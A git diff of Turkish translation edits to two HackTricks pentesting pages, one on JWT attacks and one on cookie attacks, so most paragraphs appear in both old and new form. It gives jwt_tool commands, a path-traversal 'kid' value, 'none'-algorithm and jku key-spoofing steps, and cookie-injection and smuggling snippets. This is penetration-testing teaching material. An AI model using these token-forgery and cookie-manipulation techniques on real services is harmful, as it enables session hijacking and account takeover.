GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -345,7 +345,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek hackleme ipuçlarını paylaşın.
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -32,7 +32,7 @@ python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış kontrol ettiği bazı durumları bulacaktır:
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış kontrol ettiği bir durumu bulacaktır:
![](<../.gitbook/assets/image (935).png>)
@ -42,9 +42,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp.
### Hiçbir şeyi değiştirmeden veriyi manipüle et
### Hiçbir şeyi değiştirmeden veriyi manipüle etme
Sadece veriyi manipüle edebilir, imzayı olduğu gibi bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
Veriyi manipüle edebilir, imzayı olduğu gibi bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
#### **Token kontrol ediliyor mu?**
@ -69,7 +69,7 @@ Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki de hiç s
[**Bu sayfaya bakın.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Algoritmayı None olarak değiştir
### Algoritmayı None olarak değiştirin
Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.
@ -96,11 +96,11 @@ Bu, "JSON Web Tokens" Burp eklentisi ile yapılabilir.\
### JWKS Spoofing
Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının güvenliğini değerlendirmek için bir yöntem detaylandırmaktadır. Bu iddia, token'ın doğrulanması için gerekli olan kamu anahtarını içeren bir JWKS (JSON Web Key Set) dosyasına bağlantı sağlamalıdır.
Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının güvenliğini değerlendirmek için bir yöntem detaylandırmaktadır. Bu iddia, token'ın doğrulaması için gerekli olan kamu anahtarını içeren bir JWKS (JSON Web Key Set) dosyasına bağlantı sağlamalıdır.
* **"jku" Başlığı ile Token'ları Değerlendirme**:
* "jku" iddiasının URL'sini doğrulayarak uygun JWKS dosyasına yönlendirdiğinden emin olun.
* Token'ın "jku" değerini, trafik gözlemi yapmanıza olanak tanıyan kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin.
* Token'ın "jku" değerini kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin, böylece trafik gözlemlenebilir.
* **HTTP Etkileşimini İzleme**:
* Belirttiğiniz URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
* Bu süreçte `jwt_tool` kullanırken, testin kolaylaştırılması için kişisel JWKS konumunuzu `jwtconf.ini` dosyasını güncelleyerek belirtmek önemlidir.
@ -115,13 +115,13 @@ python3 jwt_tool.py JWT_HERE -X s
`kid` olarak bilinen isteğe bağlı bir başlık iddiası, belirli bir anahtarı tanımlamak için kullanılır ve bu, token imza doğrulaması için birden fazla anahtarın bulunduğu ortamlarda özellikle önemlidir. Bu iddia, bir token'ın imzasını doğrulamak için uygun anahtarın seçilmesine yardımcı olur.
#### "kid" ile Anahtarı ığa Çıkarma
#### "kid" ile Anahtarı Ortaya Çıkarma
`kid` iddiası başlıkta mevcut olduğunda, karşılık gelen dosya veya varyasyonları için web dizininde arama yapması önerilir. Örneğin, `"kid":"key/12345"` belirtilmişse, web kökünde _/key/12345_ ve _/key/12345.pem_ dosyaları aranmalıdır.
#### "kid" ile Yol Geçişi
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu da rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedef alınarak bağlantı testi yapmak veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu, rastgele bir dosyanın seçilmesine olanak tanıyabilir. `kid` değerini belirli dosyaları veya hizmetleri hedef alacak şekilde değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -154,7 +154,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Sonra, örneğin [**jwt.io**](https://jwt.io) kullanarak **oluşturulan genel ve özel anahtarlarla yeni bir JWT oluşturabilir ve jku parametresini oluşturulan sertifikaya yönlendirebilirsiniz.** Geçerli bir jku sertifikası oluşturmak için, orijinal olanı indirebilir ve gerekli parametreleri değiştirebilirsiniz.
Sonra, örneğin [**jwt.io**](https://jwt.io) kullanarak **oluşturulan genel ve özel anahtarlarla yeni bir JWT oluşturabilir ve jku parametresini oluşturulan sertifikaya yönlendirebilirsiniz.** Geçerli bir jku sertifikası oluşturmak için, orijinalini indirebilir ve gerekli parametreleri değiştirebilirsiniz.
"e" ve "n" parametrelerini bir genel sertifikadan şu şekilde alabilirsiniz:
```bash
@ -209,7 +209,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı token içine yerleştirmek ve bunu yeni bir imza oluşturmak için kullanmak mümkündür:
Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı token içine gömmek ve bunu yeni bir imza oluşturmak için kullanmak mümkündür:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -227,16 +227,16 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
```
Son olarak, kamu ve özel anahtarı ve yeni "n" ve "e" değerlerini kullanarak [jwt.io](https://jwt.io) ile herhangi bir bilgiyle yeni geçerli bir JWT oluşturabilirsiniz.
### ES256: Aynı nonce ile özel anahtarın ığa çıkarılması
### ES256: Aynı nonce ile özel anahtarın ifşa edilmesi
Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri yüklenebilir.
Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri kazanılabilir.
İşte bir örnek: [ECDSA: Aynı nonce kullanıldığında özel anahtarın ığa çıkarılması (SECP256k1 ile)](https://asecuritysite.com/encryption/ecd5)
İşte bir örnek: [ECDSA: Aynı nonce kullanıldığında özel anahtarın ifşa edilmesi (SECP256k1 ile)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
JTI (JWT ID) talebi, bir JWT Token için benzersiz bir tanımlayıcı sağlar. Token'ın yeniden oynatılmasını önlemek için kullanılabilir.\
Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. 0001 ve 10001 isteği aynı ID'yi kullanacak. Bu nedenle, arka uç her istekte ID'yi artırıyorsa, bunu **bir isteği yeniden oynatmak** için kötüye kullanabilirsiniz (her başarılı yeniden oynatma arasında 10000 istek göndermeniz gerekecek).
Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. 0001 ve 10001 istekleri aynı ID'yi kullanacak. Bu nedenle, arka uç her istekte ID'yi artırıyorsa, bunu **bir isteği yeniden oynatmak** için kötüye kullanabilirsiniz (her başarılı yeniden oynatma arasında 10000 istek göndermeniz gerekecek).
### JWT Kayıtlı talepleri
@ -248,34 +248,34 @@ Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin.
Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir istemci için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir istemcisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynatmayı denemek gerekir.
* Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceği için kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kayıt olmanın daha geniş testler için izin gerektirebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir.
* Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceğinden kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kaydolunması durumunda daha geniş testler için izin gerekebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir.
**Token'ların Süre Kontrolü**
Token'ın süresi "exp" Payload talebi kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir son tarih ayarlamak amacıyla "exp" talebinin kullanılmasını önerir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" talebini içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynatmak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
Token'ın süresi "exp" Payload talebi kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir son kullanma süresi belirlemek amacıyla "exp" talebinin kullanılmasını önerir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" talebini içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynatmak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
* Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu, token'ın asla süresinin dolmayabileceğini ima edebilir.
* Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresi dolmayabileceğini ima edebilir.
### Araçlar
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hackleme öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hackleme öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -35,7 +35,7 @@ Bir çerezi alacak olan ana bilgisayarlar `Domain` özelliği ile belirtilir. Va
İki çerez aynı adı taşıdığında, gönderilmek üzere seçilen çerez:
* İstenen URL'deki en uzun yolu eşleşen çerez.
* İstenen URL'deki en uzun yolu eşleştiren çerez.
* Yollar aynıysa en son ayarlanan çerez.
### SameSite
@ -43,7 +43,7 @@ Bir çerezi alacak olan ana bilgisayarlar `Domain` özelliği ile belirtilir. Va
* `SameSite` özelliği, çerezlerin üçüncü taraf alan adlarından gelen isteklere gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
* **Strict**: Çerezin üçüncü taraf isteklerinde gönderilmesini kısıtlar.
* **Lax**: Çerezin üçüncü taraf web siteleri tarafından başlatılan GET istekleri ile gönderilmesine izin verir.
* **None**: Çerezin herhangi bir üçüncü taraf alanından gönderilmesine izin verir.
* **None**: Çerezin herhangi bir üçüncü taraf alan adından gönderilmesine izin verir.
Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolar arasında beklenildiği gibi davranmalarını sağlamaya yardımcı olabilir.
@ -60,7 +60,7 @@ Bir çerezi alacak olan ana bilgisayarlar `Domain` özelliği ile belirtilir. Va
Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) kaynağından alınmış ve biraz değiştirilmiştir.\
_**SameSite**_ özelliğine sahip bir çerez, **CSRF saldırılarını azaltacaktır**.
**\*Chrome80 (şubat/2019) itibarıyla, bir çerez için varsayılan davranış, çerez samesite** **özelliği yoksa lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
**\*Chrome80 (şubat/2019) itibarıyla, bir çerezin samesite** **özelliği olmayan varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Bu değişiklik uygulandıktan sonra, **SameSite** **politikası olmayan çerezler Chrome'da** **ilk 2 dakika boyunca None** olarak **değerlendirilecek ve ardından üst düzey çapraz site POST isteği için Lax olarak değerlendirilecektir.**
## Cookies Flags
@ -71,9 +71,9 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
#### **Bypasses**
* Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve yanıtından **çerezleri çalmak** mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Bu, **TRACE** **HTTP** istekleri ile atlatılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı atlatmalar bulunmuştur.
* Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve yanıtından **çerezleri çalmak** mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
* Bu, **TRACE** **HTTP** istekleri ile aşılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı aşma yöntemleri bulunmuştur.
* Diğer bir yol, tarayıcıların sıfır/günlük açıklarını istismar etmektir.
* Bir Çerez Kavanozu taşma saldırısı gerçekleştirerek **HttpOnly çerezlerini** **aşmak** mümkündür:
@ -102,13 +102,13 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
### Overwriting cookies
Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından üzerine yazılmalarını engellemektir. Örneğin [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, alt alan adlarından `__HOST-` ile başlayan çerezlerin ayarlanmasının, örneğin başına veya sonuna "=" ekleyerek, ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur:
Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından üzerine yazılmalarını engellemektir. Örneğin, [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, alt alan adlarından `__HOST-` ile başlayan çerezlerin ayarlanmasının, örneğin, başına veya sonuna "=" ekleyerek, ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur:
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ya da PHP'de çerez adının başına **diğer karakterler ekleyerek**, bunların **alt çizgi** karakterleri ile **değiştirileceği** mümkün olmuştur, bu da `__HOST-` çerezlerini üzerine yazmaya izin vermektedir:
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
@ -124,7 +124,7 @@ Bu saldırı, bir kullanıcının çerezini çalarak uygulama içindeki hesabın
### Session Fixation
Bu senaryoda, bir saldırgan bir kurbanı belirli bir çerezi kullanarak giriş yapmaya kandırır. Uygulama giriş yapıldığında yeni bir çerez atamazsa, saldırgan, orijinal çerezi elinde bulundurarak kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerez ile giriş yapmasına dayanır.
Bu senaryoda, bir saldırgan bir kurbanı belirli bir çerezi kullanarak giriş yapmaya kandırır. Uygulama giriş yapıldığında yeni bir çerez atamazsa, saldırgan, orijinal çerezi elinde bulundurarak kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerezle giriş yapmasına dayanır.
Eğer bir **alt alan adında XSS bulduysanız** veya **bir alt alan adını kontrol ediyorsanız**, okuyun:
@ -146,7 +146,7 @@ Eğer bir **alt alan adında XSS bulduysanız** veya **bir alt alan adını kont
JWT'deki olası hatalarııklayan bir sayfaya erişmek için önceki bağlantıya tıklayın.
Çerezlerde kullanılan JSON Web Token'lar (JWT) da zafiyetler içerebilir. Potansiyel hatalar ve bunları nasıl istismar edeceğiniz hakkında derinlemesine bilgi için, JWT'yi hackleme ile ilgili bağlantılı belgeye erişmeniz önerilir.
Çerezlerde kullanılan JSON Web Token'lar (JWT) da zafiyetler içerebilir. Potansiyel hatalar ve bunları nasıl istismar edeceğiniz hakkında derinlemesine bilgi için, JWT'yi hackleme ile ilgili bağlantılı belgeyi erişmeniz önerilir.
### Cross-Site Request Forgery (CSRF)
@ -154,13 +154,13 @@ Bu saldırı, oturum açmış bir kullanıcının, şu anda kimlik doğrulaması
### Empty Cookies
(Başka ayrıntılar için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, isim olmadan çerez oluşturulmasına izin verir, bu da JavaScript ile şu şekilde gösterilebilir:
(Başka ayrıntılar için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, isim olmadan çerezlerin oluşturulmasına izin verir, bu da JavaScript ile şu şekilde gösterilebilir:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Gönderilen çerez başlığındaki sonuç `a=v1; test value; b=v2;` şeklindedir. İlginç bir şekilde, bu, boş bir isim çerezi ayarlandığında çerezlerin manipüle edilmesine olanak tanır ve boş çerezi belirli bir değere ayarlayarak diğer çerezleri potansiyel olarak kontrol etme imkanı sağlar:
Gönderilen çerez başlığındaki sonuç `a=v1; test value; b=v2;`. İlginç bir şekilde, bu, boş bir isim çerezi ayarlandığında çerezlerin manipüle edilmesine olanak tanır ve boş çerezi belirli bir değere ayarlayarak diğer çerezleri kontrol etme potansiyeli taşır:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -168,7 +168,7 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
Bu, tarayıcının her web sunucusu tarafından `a` adında ve `b` değerine sahip bir çerez olarak yorumlanan bir çerez başlığı göndermesine yol açar.
Bu, tarayıcının her web sunucusu tarafından `a` adında ve `b` değerinde bir çerez olarak yorumlanan bir çerez başlığı göndermesine yol açar.
#### Chrome Hatası: Unicode Yedek Kod Noktası Sorunu
@ -180,7 +180,7 @@ Bu, `document.cookie`'nin boş bir dize döndürmesine neden olur ve kalıcı bi
#### Ayrıştırma Sorunlarından Dolayı Cookie Smuggling
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla değeri ayırması gereken noktalı virgüller içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar:
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla değer içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar; bu değerler genellikle anahtar-değer çiftlerini ayıran noktalı virgülleri içermelidir:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
@ -192,7 +192,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
* Zope, bir sonraki çerezi analiz etmeye başlamak için bir virgül arar.
* Python'un çerez sınıfları, bir boşluk karakterinde analiz yapmaya başlar.
Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir, çünkü saldırganların taklit CSRF-token çerezlerini enjekte etmesine olanak tanır ve potansiyel olarak güvenlik önlemlerini aşabilir. Sorun, Python'un tekrar eden çerez adlarını ele almasıyla daha da kötüleşir; burada son gerçekleşme önceki olanları geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin taklit edilme eğiliminde olan arka uç sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir, çünkü saldırganların taklit CSRF-token çerezleri enjekte etmesine olanak tanır ve bu da güvenlik önlemlerinin aşılmasına neden olabilir. Sorun, Python'un tekrar eden çerez adlarını ele almasıyla daha da kötüleşir; burada son gerçekleşme önceki olanları geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin taklit edilme eğiliminde olan arka uç sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
### Extra Vulnerable Cookies Checks
@ -201,17 +201,17 @@ Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özell
* **Çerez**, her seferinde **aynıdır** **giriş yaptığınızda**.
* Çıkış yapın ve aynı çerezi kullanmaya çalışın.
* Aynı çerezi kullanarak 2 cihazla (veya tarayıcıyla) aynı hesaba giriş yapmayı deneyin.
* Çerezin içinde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeye çalışın.
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri görüp göremediğinizi kontrol edin.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve zayıf olabileceği düşünülüyorsa, her zaman başka bir çerez olmadan **beni hatırla** çerezini kullanın.
* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeyi deneyin.
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri kontrol edin.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve savunmasız olabilecekse, her zaman başka bir çerez olmadan **beni hatırla** çerezini kullanın.
* Önceki çerezin, şifreyi değiştirdikten sonra bile çalışıp çalışmadığını kontrol edin.
#### **Advanced cookies attacks**
Çerez giriş yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bir alanla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz:
Çerez giriş yaptığınızda aynı (veya neredeyse) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bir alanla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz:
* Çok **benzer** kullanıcı adlarına sahip birçok **hesap** oluşturmaya çalışın ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın.
